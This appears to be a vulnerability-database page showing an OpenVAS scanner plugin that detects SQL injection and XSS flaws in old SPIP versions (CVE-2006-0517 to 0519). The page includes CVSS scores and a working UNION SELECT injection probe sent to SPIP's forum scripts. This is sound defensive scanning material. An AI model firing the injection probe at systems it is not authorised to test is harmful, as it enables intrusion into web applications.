Lucene search

K
openvasCopyright (C) 2006 David MaciejakOPENVAS:136141256231020978
HistoryMar 26, 2006 - 12:00 a.m.

SPIP < 1.8.2-g SQL Injection and XSS Flaws

2006-03-2600:00:00
Copyright (C) 2006 David Maciejak
plugins.openvas.org
9

6.6 Medium

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.021 Low

EPSS

Percentile

89.2%

The remote web server has a PHP application that is affected by multiple flaws.

# SPDX-FileCopyrightText: 2006 David Maciejak
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = 'cpe:/a:spip:spip';

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20978");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2006-0517", "CVE-2006-0518", "CVE-2006-0519");

  script_name("SPIP < 1.8.2-g SQL Injection and XSS Flaws");

  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_copyright("Copyright (C) 2006 David Maciejak");
  script_family("Web application abuses");
  script_dependencies("gb_spip_http_detect.nasl");
  script_mandatory_keys("spip/detected");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"solution", value:"Upgrade to SPIP version 1.8.2-g or later.");

  script_tag(name:"summary", value:"The remote web server has a PHP application that is affected by multiple flaws.");

  script_tag(name:"insight", value:"The remote version of this software is prone to SQL injection and cross-site
  scripting attacks. An attacker could send a specially crafted URL to modify SQL requests, for example, to obtain
  the admin password hash, or execute malicious script code on the remote system.");

  script_xref(name:"URL", value:"http://www.zone-h.org/en/advisories/read/id=8650/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/16458");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/16461");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/423655/30/0/threaded");
  script_xref(name:"URL", value:"http://listes.rezo.net/archives/spip-en/2006-02/msg00002.html");
  script_xref(name:"URL", value:"http://listes.rezo.net/archives/spip-en/2006-02/msg00004.html");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = make_list( "/forum.php3", "/forum.php" );

foreach file( files ) {

  magic = rand();
  url = dir + file + '?id_article=1&id_forum=-1/**/UNION/**/SELECT%20' +  magic + '/*';
  req = http_get(item:url, port:port);
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  if (res == NULL) continue;

  if (string('value="&gt; ', magic, '" class="forml"') >< res) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );

6.6 Medium

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.021 Low

EPSS

Percentile

89.2%

Related for OPENVAS:136141256231020978